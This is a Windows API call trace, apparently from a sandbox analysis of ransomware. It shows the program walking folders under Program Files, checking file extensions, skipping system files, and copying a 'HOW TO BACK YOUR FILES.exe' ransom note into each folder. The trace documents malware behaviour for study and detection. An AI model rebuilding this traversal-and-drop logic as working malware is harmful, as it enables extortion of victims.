	[0062.553] lstrlenW (lpString="accdw") returned 5
	[0062.553] lstrcmpiW (lpString1="a.dll", lpString2="accdw") returned -1
	[0062.553] lstrlenW (lpString="accft") returned 5
	[0062.553] lstrcmpiW (lpString1="a.dll", lpString2="accft") returned -1
	[0062.553] lstrlenW (lpString="adb") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0062.553] lstrlenW (lpString="adb") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0062.553] lstrlenW (lpString="ade") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0062.553] lstrlenW (lpString="adf") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0062.553] lstrlenW (lpString="adn") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0062.553] lstrlenW (lpString="adp") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0062.553] lstrlenW (lpString="alf") returned 3
	[0062.553] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0062.554] lstrlenW (lpString="ask") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0062.554] lstrlenW (lpString="btr") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0062.554] lstrlenW (lpString="cat") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0062.554] lstrlenW (lpString="cdb") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0062.554] lstrlenW (lpString="ckp") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0062.554] lstrlenW (lpString="cma") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0062.554] lstrlenW (lpString="cpd") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0062.554] lstrlenW (lpString="dacpac") returned 6
	[0062.554] lstrcmpiW (lpString1="ta.dll", lpString2="dacpac") returned 1
	[0062.554] lstrlenW (lpString="dad") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0062.554] lstrlenW (lpString="dadiagrams") returned 10
	[0062.554] lstrcmpiW (lpString1="n.Data.dll", lpString2="dadiagrams") returned 1
	[0062.554] lstrlenW (lpString="daschema") returned 8
	[0062.554] lstrcmpiW (lpString1="Data.dll", lpString2="daschema") returned 1
	[0062.554] lstrlenW (lpString="db-journal") returned 10
	[0062.554] lstrcmpiW (lpString1="n.Data.dll", lpString2="db-journal") returned 1
	[0062.554] lstrlenW (lpString="db-shm") returned 6
	[0062.554] lstrcmpiW (lpString1="ta.dll", lpString2="db-shm") returned 1
	[0062.554] lstrlenW (lpString="db-wal") returned 6
	[0062.554] lstrcmpiW (lpString1="ta.dll", lpString2="db-wal") returned 1
	[0062.554] lstrlenW (lpString="dbc") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0062.554] lstrlenW (lpString="dbs") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0062.554] lstrlenW (lpString="dbt") returned 3
	[0062.554] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0062.555] lstrlenW (lpString="dbv") returned 3
	[0062.555] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0062.555] lstrlenW (lpString="dbx") returned 3
	[0062.555] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0062.555] lstrlenW (lpString="dcb") returned 3
	[0062.555] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0062.555] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Microsoft.Synchronization.Data.Server.dll" | out: lpString1="Microsoft.Synchronization.Data.Server.dll") returned="Microsoft.Synchronization.Data.Server.dll"
	[0062.555] lstrlenW (lpString="Microsoft.Synchronization.Data.Server.dll") returned 41
	[0062.555] lstrlenW (lpString="Apollon865") returned 10
	[0062.555] lstrcmpiW (lpString1="Server.dll", lpString2="Apollon865") returned 1
	[0062.555] lstrlenW (lpString=".dll") returned 4
	[0062.555] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.Server.dll", lpString2=".dll") returned 1
	[0062.555] lstrlenW (lpString=".lnk") returned 4
	[0062.555] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.Server.dll", lpString2=".lnk") returned 1
	[0062.555] lstrlenW (lpString=".ini") returned 4
	[0062.555] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.Server.dll", lpString2=".ini") returned 1
	[0062.555] lstrlenW (lpString=".sys") returned 4
	[0062.555] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.Server.dll", lpString2=".sys") returned 1
	[0062.555] lstrlenW (lpString="Microsoft.Synchronization.Data.Server.dll") returned 41
	[0062.555] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="Microsoft.Synchronization.Data.SqlServerCe.dll" | out: lpString1="Microsoft.Synchronization.Data.SqlServerCe.dll") returned="Microsoft.Synchronization.Data.SqlServerCe.dll"
	[0062.555] lstrlenW (lpString="Microsoft.Synchronization.Data.SqlServerCe.dll") returned 46
	[0062.555] lstrlenW (lpString="Apollon865") returned 10
	[0062.555] lstrcmpiW (lpString1="rverCe.dll", lpString2="Apollon865") returned 1
	[0062.555] lstrlenW (lpString=".dll") returned 4
	[0062.555] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.SqlServerCe.dll", lpString2=".dll") returned 1
	[0062.555] lstrlenW (lpString=".lnk") returned 4
	[0062.555] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.SqlServerCe.dll", lpString2=".lnk") returned 1
	[0062.555] lstrlenW (lpString=".ini") returned 4
	[0062.556] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.SqlServerCe.dll", lpString2=".ini") returned 1
	[0062.556] lstrlenW (lpString=".sys") returned 4
	[0062.556] lstrcmpiW (lpString1="Microsoft.Synchronization.Data.SqlServerCe.dll", lpString2=".sys") returned 1
	[0062.556] lstrlenW (lpString="Microsoft.Synchronization.Data.SqlServerCe.dll") returned 46
	[0062.556] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework"
	[0062.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5983a8 | out: hHeap=0x580000) returned 1
	[0062.556] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0062.556] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework") returned 41
	[0062.556] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework") returned="C:\\Program Files\\Microsoft Sync Framework"
	[0062.556] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.556] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.566] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.566] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5adc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5adc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.566] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.566] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.566] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.566] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5adc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5adc50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.567] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.567] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.567] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.567] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.567] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5adc50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d5adc50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.567] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.567] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="Apollon865.txt.exe") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2=".") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="..") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="windows") returned -1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="bootmgr") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="temp") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="pagefile.sys") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="boot") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="ids.txt") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="ntuser.dat") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="perflogs") returned 1
	[0062.567] lstrcmpiW (lpString1="v1.0", lpString2="MSBuild") returned 1
	[0062.567] lstrlenW (lpString="v1.0") returned 4
	[0062.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\*") returned 43
	[0062.567] lstrcpyW (in: lpString1=0x2d3e5a4, lpString2="v1.0" | out: lpString1="v1.0") returned="v1.0"
	[0062.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0062.567] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5458
	[0062.567] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0062.567] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0
	[0062.567] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.567] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0062.567] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0"
	[0062.567] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0062.568] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0062.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned 46
	[0062.568] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0"
	[0062.568] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.568] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.572] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.572] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5d3db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5d3db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.572] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.572] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.572] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.572] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5d3db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5d3db0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.572] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.572] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.572] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.572] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.572] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1
	[0062.572] lstrcmpiW (lpString1="Documentation", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.572] lstrcmpiW (lpString1="Documentation", lpString2="Apollon865.txt.exe") returned 1
	[0062.572] lstrcmpiW (lpString1="Documentation", lpString2=".") returned 1
	[0062.572] lstrcmpiW (lpString1="Documentation", lpString2="..") returned 1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="windows") returned -1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="bootmgr") returned 1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="temp") returned -1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="pagefile.sys") returned -1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="boot") returned 1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="ids.txt") returned -1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="ntuser.dat") returned -1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="perflogs") returned -1
	[0062.573] lstrcmpiW (lpString1="Documentation", lpString2="MSBuild") returned -1
	[0062.573] lstrlenW (lpString="Documentation") returned 13
	[0062.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*") returned 48
	[0062.573] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Documentation" | out: lpString1="Documentation") returned="Documentation"
	[0062.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0062.573] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf5f0
	[0062.573] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0062.573] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5d3db0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d5d3db0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.573] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.573] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="Apollon865.txt.exe") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2=".") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="..") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="windows") returned -1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="bootmgr") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="temp") returned -1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="pagefile.sys") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="boot") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="ids.txt") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="ntuser.dat") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="perflogs") returned 1
	[0062.573] lstrcmpiW (lpString1="Runtime", lpString2="MSBuild") returned 1
	[0062.573] lstrlenW (lpString="Runtime") returned 7
	[0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation") returned 60
	[0062.574] lstrcpyW (in: lpString1=0x2d3e5ae, lpString2="Runtime" | out: lpString1="Runtime") returned="Runtime"
	[0062.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0062.574] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6e) returned 0x59a920
	[0062.574] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7b70
	[0062.574] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0
	[0062.574] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.574] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0062.574] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime"
	[0062.574] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0062.574] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0062.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned 54
	[0062.574] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime"
	[0062.574] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.574] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.578] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.578] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5f9f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5f9f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.578] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.578] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.578] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.578] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d5f9f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d5f9f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.578] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.578] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.578] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.578] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.578] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5f9f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d5f9f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.578] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.578] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1
	[0062.578] lstrcmpiW (lpString1="x64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.578] lstrcmpiW (lpString1="x64", lpString2="Apollon865.txt.exe") returned 1
	[0062.578] lstrcmpiW (lpString1="x64", lpString2=".") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="..") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="windows") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="bootmgr") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="temp") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="pagefile.sys") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="boot") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="ids.txt") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="ntuser.dat") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="perflogs") returned 1
	[0062.579] lstrcmpiW (lpString1="x64", lpString2="MSBuild") returned 1
